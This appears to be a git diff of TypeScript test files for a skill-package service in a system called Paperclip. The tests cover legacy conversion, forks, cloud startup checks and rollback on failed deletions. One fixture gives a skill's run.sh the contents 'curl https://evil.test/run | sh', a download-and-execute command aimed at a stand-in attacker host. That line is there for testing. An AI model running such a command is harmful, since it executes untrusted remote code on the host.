expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "blocked" });
|
||||
expect((await db.select().from(companySkills).where(eq(companySkills.id, skill.id)))[0].currentVersionId).toBe(skill.currentVersionId);
|
||||
fetchMock.mockImplementation(async url => {
|
||||
expect(String(url)).toBe(`https://raw.githubusercontent.com/fixture/skills/${commit}/fixture/reference.md`);
|
||||
return new Response("Exact installed supporting content");
|
||||
});
|
||||
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "converted" });
|
||||
expect(await service.readFile(companyId, skill.id, "reference.md")).toMatchObject({ content: "Exact installed supporting content" });
|
||||
expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "version_backed" });
|
||||
expect((await maintenance.verifyVersions({ companyId })).results.every(row => row.status !== "incomplete_current_version")).toBe(true);
|
||||
const calls = fetchMock.mock.calls.length;
|
||||
expect((await maintenance.installations({ id: skill.id })).results[0]).toMatchObject({ status: "unchanged" });
|
||||
expect(fetchMock).toHaveBeenCalledTimes(calls);
|
||||
} finally { fetchMock.mockRestore(); }
|
||||
});
|
||||
|
||||
it("rejects unsafe legacy sources without publishing a partial conversion", async () => {
|
||||
const companyId = await company();
|
||||
const directory = path.join(root, `unsafe-${randomUUID()}`);
|
||||
await fs.mkdir(directory);
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy");
|
||||
await fs.symlink(path.join(root, "unrelated"), path.join(directory, "support.txt"));
|
||||
try {
|
||||
const [legacy] = await db.insert(companySkills).values({ companyId, key: "unsafe", slug: "unsafe", name: "Unsafe", markdown: "# legacy",
|
||||
sourceType: "local_path", sourceLocator: directory, metadata: { sourceKind: "managed_local" } }).returning();
|
||||
expect((await skillInstallationMaintenance(db).installations({ id: legacy!.id, apply: true, writersStopped: true })).results)
|
||||
.toEqual([expect.objectContaining({ status: "blocked", reason: "Legacy skill contains a symbolic link" })]);
|
||||
expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null });
|
||||
} finally { await fs.unlink(path.join(directory, "support.txt")); }
|
||||
});
|
||||
|
||||
it("keeps the compatibility override durable in Postgres and reports that storage accurately", async () => {
|
||||
const companyId = await company();
|
||||
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "false";
|
||||
try {
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Inline durable", markdown: "# database bytes" });
|
||||
const saved = await service.updateFile(companyId, skill.id, "support.txt", "also in Postgres");
|
||||
expect((await skillInstallationMaintenance(db).verifyVersions({ id: saved.versionId! })).results)
|
||||
.toEqual([expect.objectContaining({ status: "database_snapshot", packageId: null })]);
|
||||
const priorHome = process.env.PAPERCLIP_HOME;
|
||||
process.env.PAPERCLIP_HOME = path.join(root, `inline-cold-${randomUUID()}`);
|
||||
try {
|
||||
expect(await companySkillService(db).readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "also in Postgres" });
|
||||
} finally { process.env.PAPERCLIP_HOME = priorHome; }
|
||||
} finally { process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; }
|
||||
});
|
||||
|
||||
});
|
||||
@@ -7,6 +7,7 @@ import request from "supertest";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
import { agents, companies, createDb, heartbeatRuns } from "@paperclipai/db";
|
||||
import { companySkillRoutes } from "../routes/company-skills.js";
|
||||
import { companySkillService } from "../services/company-skills.js";
|
||||
import { agentRoutes } from "../routes/agents.js";
|
||||
import { errorHandler } from "../middleware/error-handler.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
@@ -71,17 +72,20 @@ if (!support.supported) console.warn(`Planning fixture API calibration skipped:
|
||||
const selected = await selectPlanSkills(api, companyId, agentId, sources);
|
||||
const invocations = planInvocations(sources, selected);
|
||||
const contextSkills = [];
|
||||
for (const source of sources.filter(s => s.selected)) {
|
||||
await companySkillService(db).withRuntimeSkillEntries(companyId, {
|
||||
onlyKeys: new Set(sources.filter(source => source.selected).map(source => source.key)), snapshotLatest: true,
|
||||
}, async entries => { for (const source of sources.filter(s => s.selected)) {
|
||||
const entry = (selected as any).entries.find((e: any) => e.key === source.key && e.desired);
|
||||
const bytes = await readFile(path.join(entry.sourcePath, "SKILL.md"));
|
||||
const delivered = entries.find(candidate => candidate.key === source.key)!;
|
||||
const bytes = await readFile(path.join(delivered.source, "SKILL.md"));
|
||||
expect(planHash(bytes)).toBe(source.sha256);
|
||||
const mode = (await stat(path.join(entry.sourcePath, "SKILL.md"))).mode & 0o555;
|
||||
const mode = (await stat(path.join(delivered.source, "SKILL.md"))).mode & 0o555;
|
||||
expect(mode).toBe(0o444);
|
||||
const digest = planHash(JSON.stringify([{ path: "SKILL.md", sha256: planHash(bytes), mode, size: bytes.length }]));
|
||||
expect(invocations.find(i => i.name === entry.runtimeName)?.assetDigest).toBe(digest);
|
||||
contextSkills.push({ key: source.key, runtimeName: entry.runtimeName, versionId: entry.currentVersionId,
|
||||
bundle: { rootPath: path.join(root, "runtime-context-assets/bundles", digest) } });
|
||||
}
|
||||
} });
|
||||
const context = { skills: contextSkills } as NativeRuntimeContextSnapshot;
|
||||
const inputs = nativeTaskSkillInputs(planInvocationPrompt("Business task", invocations), context);
|
||||
expect(inputs).toHaveLength(variant === "disabled" ? 0 : 2);
|
||||
|
||||
@@ -123,7 +123,8 @@ describeEmbeddedPostgres("plugin-managed skills", () => {
|
||||
name: "plugin-managed-skills-test-wiki-maintainer",
|
||||
slug: "plugin-managed-skills-test-wiki-maintainer",
|
||||
key: "plugin/paperclip-managed-skills-test/wiki-maintainer",
|
||||
sourceType: "catalog",
|
||||
sourceType: "managed",
|
||||
sourceLocator: null,
|
||||
fileInventory: expect.arrayContaining([
|
||||
expect.objectContaining({ path: "SKILL.md", kind: "skill" }),
|
||||
expect.objectContaining({ path: "references/wiki-style.md", kind: "reference" }),
|
||||
|
||||
@@ -576,7 +576,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => {
|
||||
expect(await skills.getById(companyId, fork.skill.id)).not.toBeNull();
|
||||
let retainedVersionId = original.currentVersionId;
|
||||
if (choice === 'copy') {
|
||||
expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'local_path', accessSourceId: source.id });
|
||||
expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'managed', sourceLocator: null, accessSourceId: source.id });
|
||||
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/private/SKILL.md'))?.content).toBe(md('retained private workflow'));
|
||||
expect((await skills.readFile(companyId, original.id, 'SKILL.md'))?.content).toContain('.paperclip-repository/private/SKILL.md');
|
||||
await skills.updateFile(companyId, original.id, 'SKILL.md', md('Private copy edits') + '\nConfidential original-project notes.\n');
|
||||
@@ -605,7 +605,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => {
|
||||
expect(restored.lastError).toBeNull();
|
||||
expect(restored.entries.filter(entry => entry.skillId)).toHaveLength(1);
|
||||
expect(restored.entries[0]!.skillId).not.toBe(original.id);
|
||||
if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'local_path', currentVersionId: retainedVersionId });
|
||||
if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'managed', currentVersionId: retainedVersionId });
|
||||
const readerId = randomUUID();
|
||||
await db.insert(authUsers).values({ id: readerId, name: 'Open project reader', email: `${readerId}@example.test`, createdAt: new Date(), updatedAt: new Date() });
|
||||
await db.insert(companyMemberships).values({ companyId, principalType: 'user', principalId: readerId, membershipRole: 'member', status: 'active' });
|
||||
|
||||
@@ -616,6 +616,70 @@ describe("startServer feedback export wiring", () => {
|
||||
process.env.BETTER_AUTH_SECRET = "test-secret";
|
||||
});
|
||||
|
||||
|
||||
it("refuses invalid cloud bootstrap prerequisites before signing, DB creation, or HTTP setup", async () => {
|
||||
const realConfig = await vi.importActual<typeof import("../config.js")>("../config.js");
|
||||
const originalHome = process.env.PAPERCLIP_HOME;
|
||||
const originalManaged = process.env.PAPERCLIP_MANAGED_CONFIG;
|
||||
const originalStorage = process.env.PAPERCLIP_STORAGE_PROVIDER;
|
||||
const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-refusal-"));
|
||||
process.env.PAPERCLIP_HOME = tempHome;
|
||||
process.env.PAPERCLIP_MANAGED_CONFIG = JSON.stringify({
|
||||
v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] },
|
||||
});
|
||||
process.env.PAPERCLIP_STORAGE_PROVIDER = "s3";
|
||||
delete process.env.PAPERCLIP_DECISION_SIGNING_SECRET;
|
||||
cloudRuntimeStartupMocks.bootstrap.mockImplementationOnce(realConfig.loadCloudBootstrapConfig);
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined);
|
||||
vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl);
|
||||
try {
|
||||
await expect(startServer()).rejects.toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
|
||||
expect(createDbMock).not.toHaveBeenCalled();
|
||||
expect(createAppMock).not.toHaveBeenCalled();
|
||||
expect(existsSync(path.join(tempHome, "instances"))).toBe(false);
|
||||
} finally {
|
||||
if (originalHome === undefined) delete process.env.PAPERCLIP_HOME;
|
||||
else process.env.PAPERCLIP_HOME = originalHome;
|
||||
if (originalManaged === undefined) delete process.env.PAPERCLIP_MANAGED_CONFIG;
|
||||
else process.env.PAPERCLIP_MANAGED_CONFIG = originalManaged;
|
||||
if (originalStorage === undefined) delete process.env.PAPERCLIP_STORAGE_PROVIDER;
|
||||
else process.env.PAPERCLIP_STORAGE_PROVIDER = originalStorage;
|
||||
vi.unstubAllEnvs();
|
||||
rmSync(tempHome, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
it("rejects missing effective Cloud storage after the snapshot and before local signing mutations", async () => {
|
||||
const realConfig = await vi.importActual<typeof import("../config.js")>("../config.js");
|
||||
const { setCloudRuntimeConfigSnapshot } = await import("../services/cloud-runtime-config-snapshot.js");
|
||||
const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-storage-refusal-"));
|
||||
vi.stubEnv("PAPERCLIP_HOME", tempHome);
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", JSON.stringify({ v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] } }));
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
|
||||
vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
vi.stubEnv("PAPERCLIP_DECISION_SIGNING_SECRET", undefined);
|
||||
cloudRuntimeStartupMocks.initialize.mockImplementationOnce(async () => {
|
||||
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null });
|
||||
return null;
|
||||
});
|
||||
loadConfigMock.mockImplementationOnce(realConfig.loadConfig);
|
||||
try {
|
||||
await expect(startServer()).rejects.toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/);
|
||||
expect(createDbMock).toHaveBeenCalled();
|
||||
expect(cloudRuntimeStartupMocks.initialize).toHaveBeenCalledOnce();
|
||||
expect(cloudRuntimeStartupMocks.telemetry).not.toHaveBeenCalled();
|
||||
expect(createAppMock).not.toHaveBeenCalled();
|
||||
expect(existsSync(path.join(tempHome, "instances"))).toBe(false);
|
||||
} finally {
|
||||
setCloudRuntimeConfigSnapshot(null);
|
||||
vi.unstubAllEnvs();
|
||||
rmSync(tempHome, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("awaits saved Cloud configuration before telemetry, authentication and app construction", async () => {
|
||||
vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "startup-test-token");
|
||||
vi.stubEnv("HOST", "0.0.0.0");
|
||||
@@ -674,6 +738,7 @@ describe("startServer feedback export wiring", () => {
|
||||
} finally { vi.unstubAllEnvs(); }
|
||||
});
|
||||
|
||||
|
||||
it.each([false, true])("registers runner evidence independently from the backup scan (%s)", async enabled => {
|
||||
loadConfigMock.mockReturnValue(buildTestConfig({ nativeHarnessBackupExpirationEnabled: enabled }));
|
||||
await startServer(); await settleStartupHousekeeping();
|
||||
@@ -1183,7 +1248,8 @@ describe("startServer feedback export wiring", () => {
|
||||
it("refuses startup when an explicit decision signing secret is too short", async () => {
|
||||
process.env.PAPERCLIP_DECISION_SIGNING_SECRET = "too-short";
|
||||
await expect(startServer()).rejects.toThrow("PAPERCLIP_DECISION_SIGNING_SECRET must be at least 32 characters");
|
||||
expect(loadConfigMock).not.toHaveBeenCalled();
|
||||
expect(createDbMock).not.toHaveBeenCalled();
|
||||
expect(createAppMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("passes the feedback export service into createApp so pending traces flush in runtime", async () => {
|
||||
|
||||
@@ -8,7 +8,7 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { and, eq, sql } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots,
|
||||
import { agents, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots,
|
||||
skillPackageDeletions, createDb, withDedicatedDbConnection } from "@paperclipai/db";
|
||||
import * as dbModule from "@paperclipai/db";
|
||||
import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared";
|
||||
@@ -83,6 +83,26 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
return { companyId, id, store, skills, service, resolve };
|
||||
}
|
||||
|
||||
it("keeps unchanged linked-local execution on the verified manifest path with complete metadata indexes", async () => {
|
||||
const companyId = await company();
|
||||
vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage);
|
||||
const directory = path.join(home, `linked-${companyId}`);
|
||||
await fs.mkdir(directory);
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked");
|
||||
await fs.writeFile(path.join(directory, "support.txt"), "unchanged support");
|
||||
const [skill] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
|
||||
markdown: "# Linked", sourceType: "local_path", sourceLocator: directory,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
|
||||
const service = companySkillService(db);
|
||||
const version = await service.createVersion(companyId, skill!.id);
|
||||
const resolve = () => service.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill!.key]), snapshotLatest: true });
|
||||
await resolve();
|
||||
const read = vi.spyOn(fs, "readFile");
|
||||
const [runtime] = await resolve();
|
||||
expect(runtime?.versionId).toBe(version.id);
|
||||
expect(read.mock.calls.filter(([file]) => String(file).endsWith("support.txt"))).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("orders skill and package locks consistently with an edit's dedicated upload connection", async () => {
|
||||
const f = await fixture();
|
||||
const skill = f.skills[0]!.skill;
|
||||
@@ -121,16 +141,42 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
expect(await skillPackageStore(db, storage).versionInventory(stale!)).toEqual(files.map(({ path, kind }) => ({ path, kind })));
|
||||
});
|
||||
|
||||
it("forks a packaged repository inside an outer transaction with a one-connection pool", async () => {
|
||||
it("prepares a repository fork before its publication transaction with a one-connection pool", async () => {
|
||||
const f = await fixture();
|
||||
const fork = await db.transaction(tx => companySkillService(tx as unknown as typeof db, { packageDb: db })
|
||||
.createLocalSkill(f.companyId, { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }));
|
||||
let publishing = false;
|
||||
const read = storage.getObject.bind(storage);
|
||||
vi.spyOn(storage, "getObject").mockImplementation((...args) => {
|
||||
expect(publishing, "Package acquisition must finish before publication takes database locks").toBe(false);
|
||||
return read(...args);
|
||||
});
|
||||
const fork = await f.service.createLocalSkill(f.companyId,
|
||||
{ name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }, null, {
|
||||
beforeLock: async () => { publishing = true; },
|
||||
afterPublish: async (tx, skill, version) => {
|
||||
expect((await tx.select().from(companySkillVersions).where(eq(companySkillVersions.id, version.id)))[0])
|
||||
.toMatchObject({ companySkillId: skill.id });
|
||||
},
|
||||
});
|
||||
publishing = false;
|
||||
const saved = await f.service.getVersion(f.companyId, fork.id, fork.currentVersionId!);
|
||||
expect(saved!.fileInventory).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ path: ".paperclip-repository/shared/run.sh", content: files[2]!.content }),
|
||||
]));
|
||||
}, 15_000);
|
||||
|
||||
it("publishes a fork and agent reassignment atomically with a one-connection pool", async () => {
|
||||
const f = await fixture();
|
||||
const original = f.skills[0]!.skill;
|
||||
const [agent] = await db.insert(agents).values({ companyId: f.companyId, name: "Fork user", adapterType: "codex_local",
|
||||
adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: original.key }] } } }).returning();
|
||||
await expect(f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }, null,
|
||||
{ afterPublish: async () => { throw new Error("audit rollback"); } })).rejects.toThrow("audit rollback");
|
||||
expect(await f.service.getByKey(f.companyId, `company/${f.companyId}/atomic-fork`)).toBeNull();
|
||||
expect((await db.select().from(agents).where(eq(agents.id, agent!.id)))[0]!.adapterConfig).toEqual(agent!.adapterConfig);
|
||||
const fork = await f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] });
|
||||
expect(fork.reassignments).toEqual([{ agentId: agent!.id, previousSkillKey: original.key, nextSkillKey: fork.skill.key }]);
|
||||
});
|
||||
|
||||
it("lists version metadata without reading archives, while inspection reads the requested historical bytes", async () => {
|
||||
const f = await fixture();
|
||||
const { skill, version } = f.skills[0]!;
|
||||
@@ -247,7 +293,7 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
expect(await skillPackageStore(db, storage).versionFiles(converted!)).toEqual([{ ...files[0]!, path: "SKILL.md" }]);
|
||||
});
|
||||
|
||||
it.each(["file", "folder"] as const)("restores a deleted %s when the replacement package upload fails", async target => {
|
||||
it.each(["file", "folder"] as const)("keeps committed %s contents when the replacement package upload fails", async target => {
|
||||
const companyId = await company();
|
||||
vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage);
|
||||
const service = companySkillService(db);
|
||||
@@ -256,11 +302,6 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
await service.updateFile(companyId, skill.id, "bundle/probe.sh", "#!/bin/sh\nprintf kept\n", null, { executable: true });
|
||||
await service.updateFile(companyId, skill.id, "bundle/nested/data.bin", binary.toString("base64"), null, { encoding: "base64" });
|
||||
await service.updateFile(companyId, skill.id, "keep.txt", "Unrelated file\n");
|
||||
const root = skill.sourceLocator!;
|
||||
await fs.chmod(path.join(root, "bundle/probe.sh"), 0o751);
|
||||
await fs.mkdir(path.join(root, "bundle/empty"));
|
||||
await fs.mkdir(path.join(root, "bundle/.git"));
|
||||
await fs.writeFile(path.join(root, "bundle/.git/local-state"), "Unlisted bytes\n");
|
||||
const [before] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
|
||||
const versionsBefore = await db.select({ id: companySkillVersions.id }).from(companySkillVersions)
|
||||
.where(eq(companySkillVersions.companySkillId, skill.id));
|
||||
@@ -270,11 +311,10 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
await expect(service.deleteFile(companyId, skill.id, input)).rejects.toThrow("Object storage unavailable");
|
||||
expect(upload).toHaveBeenCalled();
|
||||
} finally { upload.mockRestore(); }
|
||||
expect(await fs.readFile(path.join(root, "bundle/probe.sh"), "utf8")).toBe("#!/bin/sh\nprintf kept\n");
|
||||
expect((await fs.stat(path.join(root, "bundle/probe.sh"))).mode & 0o777).toBe(0o751);
|
||||
expect(await fs.readFile(path.join(root, "bundle/nested/data.bin"))).toEqual(binary);
|
||||
expect((await fs.stat(path.join(root, "bundle/empty"))).isDirectory()).toBe(true);
|
||||
expect(await fs.readFile(path.join(root, "bundle/.git/local-state"), "utf8")).toBe("Unlisted bytes\n");
|
||||
expect(await service.readFile(companyId, skill.id, "bundle/probe.sh"))
|
||||
.toMatchObject({ content: "#!/bin/sh\nprintf kept\n", executable: true });
|
||||
expect(await service.readFile(companyId, skill.id, "bundle/nested/data.bin"))
|
||||
.toMatchObject({ content: binary.toString("base64"), encoding: "base64" });
|
||||
const [after] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
|
||||
expect(after).toEqual(before);
|
||||
expect(await db.select({ id: companySkillVersions.id }).from(companySkillVersions)
|
||||
@@ -285,8 +325,9 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
.where(and(eq(snapshots.companyId, companyId), sql`${snapshots.upload} is not null`));
|
||||
const deleted = await service.deleteFile(companyId, skill.id, input);
|
||||
expect(deleted.deletedPaths).toContain("bundle/probe.sh");
|
||||
await expect(fs.stat(path.join(root, input.path))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
expect(await fs.readFile(path.join(root, "keep.txt"), "utf8")).toBe("Unrelated file\n");
|
||||
await expect(service.readFile(companyId, skill.id, "bundle/probe.sh")).rejects.toMatchObject({ status: 404 });
|
||||
if (target === "folder") await expect(service.readFile(companyId, skill.id, "bundle/nested/data.bin")).rejects.toMatchObject({ status: 404 });
|
||||
expect(await service.readFile(companyId, skill.id, "keep.txt")).toMatchObject({ content: "Unrelated file\n" });
|
||||
expect((await service.getVersion(companyId, skill.id, before!.currentVersionId!))!.fileInventory)
|
||||
.toEqual(expect.arrayContaining([expect.objectContaining({ path: "bundle/probe.sh", executable: true })]));
|
||||
});
|
||||
@@ -300,52 +341,45 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
await service.updateFile(companyId, skill.id, "keep.txt", "Keep\n");
|
||||
const before = (await service.getById(companyId, skill.id))!;
|
||||
let deletionFinished = false;
|
||||
let backupDirectory: string | undefined;
|
||||
const mkdtemp = fs.mkdtemp.bind(fs);
|
||||
vi.spyOn(fs, "mkdtemp").mockImplementation(async (...args) => {
|
||||
const directory = await mkdtemp(...args);
|
||||
if (String(args[0]).includes("paperclip-skill-delete-")) backupDirectory = directory as string;
|
||||
return directory;
|
||||
});
|
||||
const ambiguousDb = new Proxy(db, {
|
||||
get(target, property, receiver) {
|
||||
if (property === "transaction") return async (callback: (tx: any) => Promise<any>, ...options: any[]) => {
|
||||
if (deletionFinished && outcome === "unavailable") throw new Error("Database unavailable");
|
||||
const result = await target.transaction(async tx => {
|
||||
const value = await callback(tx);
|
||||
if (value?.deletedPaths) {
|
||||
if (value?.skill?.id === skill.id && value?.version) {
|
||||
deletionFinished = true;
|
||||
if (outcome === "rolled_back") throw new Error("Lost commit reply");
|
||||
}
|
||||
return value;
|
||||
}, ...options);
|
||||
if (!result?.deletedPaths) return result;
|
||||
if (result?.skill?.id !== skill.id || !result?.version) return result;
|
||||
if (outcome === "newer_edit") await service.updateFile(companyId, skill.id, "notes.txt", "Newer edit\n");
|
||||
throw new Error("Lost commit reply");
|
||||
};
|
||||
return Reflect.get(target, property, receiver);
|
||||
},
|
||||
});
|
||||
try {
|
||||
await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id,
|
||||
{ path: "notes.txt", target: "file" })).rejects.toThrow("Lost commit reply");
|
||||
expect(deletionFinished).toBe(true);
|
||||
const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
|
||||
if (outcome === "rolled_back") {
|
||||
expect(saved!.currentVersionId).toBe(before.currentVersionId);
|
||||
expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Original notes\n");
|
||||
} else if (outcome === "newer_edit") {
|
||||
expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Newer edit\n");
|
||||
} else {
|
||||
expect(saved!.currentVersionId).not.toBe(before.currentVersionId);
|
||||
await expect(fs.stat(path.join(skill.sourceLocator!, "notes.txt"))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
}
|
||||
if (outcome === "unavailable" || outcome === "newer_edit") {
|
||||
expect(await fs.readFile(path.join(backupDirectory!, "source"), "utf8")).toBe("Original notes\n");
|
||||
} else await expect(fs.stat(backupDirectory!)).rejects.toMatchObject({ code: "ENOENT" });
|
||||
} finally {
|
||||
if (backupDirectory) await fs.rm(backupDirectory, { recursive: true, force: true });
|
||||
await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id,
|
||||
{ path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })).rejects.toThrow("Lost commit reply");
|
||||
expect(deletionFinished).toBe(true);
|
||||
const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
|
||||
if (outcome === "rolled_back") {
|
||||
expect(saved!.currentVersionId).toBe(before.currentVersionId);
|
||||
expect(await service.readFile(companyId, skill.id, "notes.txt")).toMatchObject({ content: "Original notes\n" });
|
||||
await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId }))
|
||||
.resolves.toMatchObject({ deletedPaths: ["notes.txt"] });
|
||||
} else {
|
||||
expect(saved!.currentVersionId).not.toBe(before.currentVersionId);
|
||||
if (outcome === "newer_edit") expect(await service.readFile(companyId, skill.id, "notes.txt"))
|
||||
.toMatchObject({ content: "Newer edit\n" });
|
||||
else await expect(service.readFile(companyId, skill.id, "notes.txt")).rejects.toMatchObject({ status: 404 });
|
||||
await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId }))
|
||||
.rejects.toMatchObject({ status: 409 });
|
||||
}
|
||||
expect((await service.getVersion(companyId, skill.id, before.currentVersionId!))!.fileInventory)
|
||||
.toEqual(expect.arrayContaining([expect.objectContaining({ path: "notes.txt", content: "Original notes\n" })]));
|
||||
|
||||
});
|
||||
|
||||
it("expires an unused Git package and reacquires its exact bytes without a migration command", async () => {
|
||||
@@ -928,6 +962,21 @@ describe.skipIf(!support.supported)("external skill packages", () => {
|
||||
expect(await skillPackageStore(db, storage).versionFiles(saved!)).toEqual([original]);
|
||||
});
|
||||
|
||||
it("backfills a cleared version's metadata index without changing its identity or bytes", async () => {
|
||||
const f = await fixture();
|
||||
const [version] = await db.insert(companySkillVersions).values({ companyId: f.companyId,
|
||||
companySkillId: f.skills[0]!.skill.id, revisionNumber: 2, packageSnapshotId: f.id,
|
||||
packageFileMap: null, fileInventory: [], migrationAt: null }).returning();
|
||||
expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).migrated).toBe(1);
|
||||
const [saved] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.id, version!.id));
|
||||
expect(saved).toMatchObject({ id: version!.id, revisionNumber: 2, packageSnapshotId: f.id, fileInventory: [] });
|
||||
expect(await f.store.versionFiles(saved!)).toEqual(expect.arrayContaining(files));
|
||||
const read = vi.spyOn(storage, "getObject").mockRejectedValue(new Error("Metadata must not fetch objects"));
|
||||
expect(await f.store.versionInventory(saved!)).toEqual(expect.arrayContaining(files.map(({ path, kind }) => ({ path, kind }))));
|
||||
expect(read).not.toHaveBeenCalled();
|
||||
expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).inspected).toBe(0);
|
||||
});
|
||||
|
||||
it.each([false, true])("restores across legacy payload clearing with a cached manifest: %s", async cachedManifest => {
|
||||
const companyId = await company();
|
||||
const [snapshot] = await db.insert(snapshots).values({ companyId, contentHash: skillSnapshotHash(files), fileInventory: files }).returning();
|
||||
|
||||
@@ -437,8 +437,11 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
|
||||
files = { 'legacy/SKILL.md': md('legacy'), 'legacy/scripts/run.sh': 'curl https://evil.test/run | sh' };
|
||||
await service.refresh(legacyCompany, adopted[0]!.id, context);
|
||||
expect((await skills.getById(legacyCompany, legacy!.id))?.currentVersionId).toBe(partial!.id);
|
||||
const provider = vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response('Existing reference'));
|
||||
try { expect((await skills.readFile(legacyCompany, legacy!.id, 'reference.md'))?.content).toBe('Existing reference'); }
|
||||
const provider = vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Upstream must not repair an installed read'));
|
||||
try {
|
||||
await expect(skills.readFile(legacyCompany, legacy!.id, 'reference.md')).rejects.toMatchObject({ status: 404 });
|
||||
expect(provider).not.toHaveBeenCalled();
|
||||
}
|
||||
finally { provider.mockRestore(); }
|
||||
const revision = (await service.detail(legacyCompany, adopted[0]!.id)).revision;
|
||||
await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete.*Refresh the source/);
|
||||
@@ -816,7 +819,7 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
|
||||
expect(result).toMatchObject({ copiedCount: 2, deletedCount: 0 });
|
||||
await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/);
|
||||
const copy = (await skills.detail(companyId, original.id))!;
|
||||
expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'local_path', sourceRef: null, editable: true });
|
||||
expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'managed', sourceLocator: null, sourceRef: null, editable: true });
|
||||
